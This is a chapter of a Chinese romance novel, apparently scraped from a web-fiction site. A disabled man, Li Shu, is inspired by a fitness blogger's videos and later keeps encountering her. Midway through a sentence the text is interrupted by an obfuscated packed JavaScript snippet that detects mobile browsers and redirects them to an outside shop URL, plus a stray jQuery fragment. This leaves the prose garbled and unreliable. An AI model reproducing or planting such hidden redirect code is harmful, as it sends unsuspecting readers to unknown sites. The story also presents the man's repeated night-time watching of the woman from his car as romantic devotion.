七年前的初春，李述发誓一定要学会用拐杖走路，可所有医生都劝他放弃，他们说：“你如今能戴着支架站起来，还能扶着助行器走，就你这种残疾程度而言，已经是个奇迹了，还是要接受现实。非要用双拐走路，就好像一条鱼非要飞上天，只能是不切实际的幻想。”
可他偏不服。鱼没有翅膀，当然不能飞上天，但是他有腿啊，既然已经可以扶着助行器走了，为什么不能再进一步？
全世界的人都觉得他疯了，只有姐姐李遥和费明伟支持他。就这样，他开始去康复中心学走路。可是从早春的海棠垂丝到盛夏的翠叶荫荫，整整五个月，身上摔得全是淤青，他还是不能拄着拐杖迈出哪怕一步。
康复中心的人话里话外让他不要再浪费时间了，连姐姐李遥都因为心疼他，找姐夫递话叫他要不放弃算了，只有费明伟一如既往地支持着他，还给他发了一个健身操视频：“这个女孩子很有活力，你要是心烦，就打开看看缓解一下情绪。”
起初他并没有打开那个视频，他一个连走路都学不会的残疾人，看什么健身操呢？
有一天在康复中心连着摔了十几跤之后，他沮丧地坐在地上，把拐杖扔出去老远，第一次对自己的倔犟产生了怀疑。他想，自己可能真的是在痴心妄想，还是认命吧！这么一双腿，这辈子怎么可能走得了路？
可偏偏就在这时，他听到两个工作人员在聊天，聊的是关于跳健身操减脂的话题，这话题本与他毫不相干，然而她们口中那个博主的名字还是吸引了他的好奇——齐葭？不就是费明伟之前推荐给他的那个博主吗！
鬼使神差的，他打开了那个视频。视频里的女孩子身材健美，肤色健康，圆圆的脸蛋上泛着一抹活力的粉色，站在一面刷成浅绿色的墙前面，墙角摆了一盆养得很好的绿植。看了十几秒，他就关掉了视频。
之后的一周，他都没有再去康复中心，他决定放弃了，医生说得对，一条鱼怎么可能飞上天呢？
可这世界上的事就是无巧不成书，在他决定放弃的那天，费明伟又给他发来了一条消息：“上次那个视频看了吗？这个是电子疗愈师新出的视频，看了保你抑郁全消！”后面跟着发来了一条视频。
电子疗愈师？有没有这么夸张？心中的叛逆让他再次点开了视频，他倒是要看看，这个博主到底哪里好，不仅康复中心的工作人员夸她，连一向不关注这些的费明伟都接二连三给他推荐。
在这个视频中，她全程站在一片树林里，不知道是在哪里找的地方，虽然风景很美，但草地并不平整，深一脚浅一脚的。然而她却跳得格外认真，除了认真，她的眼中还投射出另一种情绪，那是从事自己热爱的行业而散发出来的巨大的幸福感。
正片结束后，还有一个难点动作分解的教学视频，她在里面不仅讲得详细，就连示范动作都贴心地拍摄了前、侧、后三个角度。
不仅如此，视频中的她每首歌都会换一个新造型，并且根据对太阳的照射方向和周围环境的分析，李述推断这个视频应该是拍了六天，再重新剪辑成一个专辑。
种种细节都表明，这位名叫“齐葭”的博主是一个工作态度极其认真的完美主义者。
整整一个小时的视频，她扬起的嘴角都没有下来过。她的笑就像灼灼烈日，通过一块小小的屏幕散发出来，将所有观看视频的人的世界照得通明瓦亮、再无阴霾。
那一刻，他突然就被她身上散发出的旺盛生命力吸引了。
李述沉沦了，仅仅因为看了一个视频。但他一点也不为此感到吃惊和羞耻，因为这世上根本没人能抵挡得了那样的生命力。这些年来，他一直这样坚定地认为。
原本已经放弃走路的他又拾起了拐杖，重新开始学习走路。每天练习走路前，他都会看一遍她的视频，看看她的笑容，听听她的鼓励，仿佛那些鼓励的话都是对他一人说的。一个星期后，他成功拄着拐杖迈出了人生第一步。
他一直认为，这个奇迹是齐葭和他一起创造的，只是，她永远也不会知道。
一年以后，他和费明伟去Y城出差，公务忙完之后，费明伟拉着他去当地很著名的一个寺院——云朝寺——给生病的母亲祈福。寺庙门口的台阶太多，他上不去，就站在寺外的桥上等。
桥上的情侣很多，桥两侧的围栏上还挂着许多同心锁。他听过关于这座桥的传说：只要在锁上写下自己的名字，挂在桥上的同时许个愿，就能实现这个愿望；而如果心意相通的一对情侣同时在同心锁上写下自己的名字，再把两枚同心锁挂在一起，那么他们这一生就被锁在了一起，再也不会分开。
国内外的很多景点都有类似的传说，而这当中的大部分传说，都不过是为了给景点赋予一个必去打卡的意义罢了。他并不信这个传说。
“帅哥，看上哪家的姑娘了？买把锁许个愿吧，很灵的！一把锁只要二十块钱。”一旁卖锁的大爷看他瘸着腿，已经自动补脑了一出他因为腿疾被女方父母棒打鸳鸯的狗血故事，热情地找他推销。
“不用了，谢谢！”他礼貌拒绝。
可是他一转头，下一秒，就看到桥的那端站着一个身穿红裙、头戴花环的女孩子。她正对着桥下的人招手，笑容就像往常一样有生命力，右脸颊那颗浅浅的梨涡穿越重重人海精准击中他的心，那颗心猛地一收缩，就在胸膛里急不可耐地疯狂跳动。在偌大的地球上，他们居然在这弯小小的石桥上相遇了！
这一定是缘分吧！他慌里慌张举起脖子上挂着的相机，赶在她起身之前，抖着手按下快门，拍下了一张弥足珍贵的相片。
她很快就走了，没有看他一眼。他失落极了，方才狂跳不止的心也落寞沉寂下来。那是他第一次在现实中见到她，第一次如此贴近的和她站在同一个空间，可是他还没来得及看清楚她的样子，还没来得及走到她面前去，还没来得及跟她说一句话，还没来得及告诉她自己的名字，她就走了。
他突然冒出了一个疯狂的想法，他想再见她一次！
他掏出一百块跟旁边那位卖锁的大爷买了一把锁，连找的钱都顾不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17699835|208109||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
上拿，就急忙签上自己的名字，在栏杆上找了一块稍空些的地方，将那把锁挂了上去。又闭上眼睛，虔诚地许了一个愿。一边许愿还不忘一边嘲笑自己的愚昧，恋爱脑发作时，居然连这种显而易见的骗术都相信。
然而再睁开眼时，他赫然发现，自己那把锁旁边紧靠着的另一把锁上，写着“齐葭”两个字！
更加令他震惊的是，没过多久，他真的愿望成真，又遇到了她。
那天一大早，他刚开车驶出小区，一个熟悉得不能再熟悉的人影就从他的车前跑过。他差点不能相信自己的眼睛，盯着那个逐渐跑远的背影看了好久，心想难道是自己思念成疾？还是年纪轻轻就老眼昏花了？
直到后车按喇叭催他赶紧走，他才反应过来开车去追。追到十字路口，她从他车前过马路，他终于看清了她的脸。那张脸和视频中的她一模一样，和那日桥上看到的她一模一样，也和自己梦里的她一模一样。
后来，他在上班时又几次遇见她在海月巷晨跑，他才知道，她就住在斜对面的那个小区。
再往后，他就总是能遇到她，她不止每天早上晨跑，每周四晚上也都会去附近的一间舞室练舞到九点半。舞室小区那段路虽然不长，路灯却很暗。只要有时间，他都会把车停在路的一侧，打开车灯，看着她从自己车旁走过。大多数时候，她都是戴着耳机安静地走。偶尔听歌来了灵感，又恰好发现四下无人，就会跟着音乐比划几下新编的动作。她是个非常害羞的女孩，所以即使周围并没有人，比划完动作后她还是会尴尬地吐吐舌头，或者不好意思地偷笑自己。
这七年里，齐葭发出的每一个视频李述都看了无数遍，她跳操的场景很多，大部分时候都在那面浅绿色的墙前面，有时也会在某间酒店的花园里，或者某个湖泊旁，甚至雪地里，应该都是她在旅行时随机找的地方；她的每一场直播或回放他也都没有落下；而她在社交平台发的内容他更是反复地翻看，早就倒背如流。
这些年，他看着她的粉丝越来越多，名气越来越大，被越来越多的人喜欢。她却始终如一，还是那么爱笑，还是那么真诚，还是那么投入，没有被污浊的网络蚕食，也没有因为流量变大而忘记初心。在大多数网红都在挣快钱、急于用名气变现的时代，她七年来都坚持着每个月发一期视频，从不接低质广告收割粉丝，珍惜自己的羽毛，反而用高质量的视频内容吸引了一批又一批的忠实粉丝，成为了网红界的一股清流。
他原本以为他们之间的关系就这样了，她永远也不会知道他。但即使是这样，他已经觉得很幸福了。他从没想过再进一步，去打扰她的生活。可是那天，她突然闯入了他的世界，就那样毫无预警地主动闯了进来，笑盈盈坐在了他对面的椅子上。
他的大脑一片空白，反复确认眼前那一幕是否真实。直到他伸出发抖的手扫了她递来的二维码，看到已经添加进微信列表里的那个头像，他才确认，是真实的！
那天，没有姓名的他终于有机会亲口告诉她自己的名字：“我叫李述。”